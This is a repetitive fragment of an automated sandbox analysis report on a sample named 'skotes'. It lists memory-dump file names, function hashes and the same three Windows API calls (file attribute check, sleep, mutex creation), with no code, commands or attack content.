Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 6b063ddb600862af2d5b07002b5bb5a97e7d2b6c5d6e5f34bcb20c894a41fd66
Instruction ID: 125b7b1df13df3d52852b2e93ef5cfda93f8245242429e99d2d17d906d33a3f1
Opcode Fuzzy Hash: 6b063ddb600862af2d5b07002b5bb5a97e7d2b6c5d6e5f34bcb20c894a41fd66
Instruction Fuzzy Hash: C1314A316042049BEB08EB7CDC89B6DBBE2DBC6310F24C699E068D73D6D7759980C752

Function 00B79CDA Relevance: 4.6, APIs: 3, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B79CDD
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ee0ba45947247255cf3aa99862829c8972bf6264c3fb37947a9a0b3738cc18f4
Instruction ID: e6d0f65513ca39171e840f11f5f1f411dba43625f98b653f588f65075835ca4f
Opcode Fuzzy Hash: ee0ba45947247255cf3aa99862829c8972bf6264c3fb37947a9a0b3738cc18f4
Instruction Fuzzy Hash: 283113316041448BEF18DB6CDC99BADB7E2DBC6310F2486A9E128D72D5D7759A808712

Function 00B79F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B79F47
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 10dc5ebc07b333de98be9d57a857829c9cce31ee723503067672f3dd11885efa
Instruction ID: 31339b47eb045e5f2dca8b7a955f93f691818de2df4abe9dc496cd1072c17323
Opcode Fuzzy Hash: 10dc5ebc07b333de98be9d57a857829c9cce31ee723503067672f3dd11885efa
Instruction Fuzzy Hash: 663128316041448BEB18EB6CDC9476CBBE2EBC6310F248699E16CDB2D5D775AA808752

Function 00B7A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A07C
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ac5cffc095f595ce74472030d7c822de0b8b594fbd09d8dd7e64a848e8432f4d
Instruction ID: 43b6ee73d8f7f04c6b4326bdbf5f896bc658c6e9e0084b93cdbb0f7c00916816
Opcode Fuzzy Hash: ac5cffc095f595ce74472030d7c822de0b8b594fbd09d8dd7e64a848e8432f4d
Instruction Fuzzy Hash: C6312331A041049BEB08DB6CDC89B6DBBE2DBC6310F208699E028A73D1D7769980C713

Function 00B7A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A1B1
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 715d0b301ec3bdedf9140c934972f011f921ea25e72be51a6ed7dd27e98abe1c
Instruction ID: 3ce54d4339d6951a1e19249c114605eae9298993ed2999e1572caa167a21b4d7
Opcode Fuzzy Hash: 715d0b301ec3bdedf9140c934972f011f921ea25e72be51a6ed7dd27e98abe1c
Instruction Fuzzy Hash: 1A312A316041459BFB08DB6CDC8975DFBE2DBC6310F248699E028E73D2D77599808713

Function 00B7A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A2E6
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
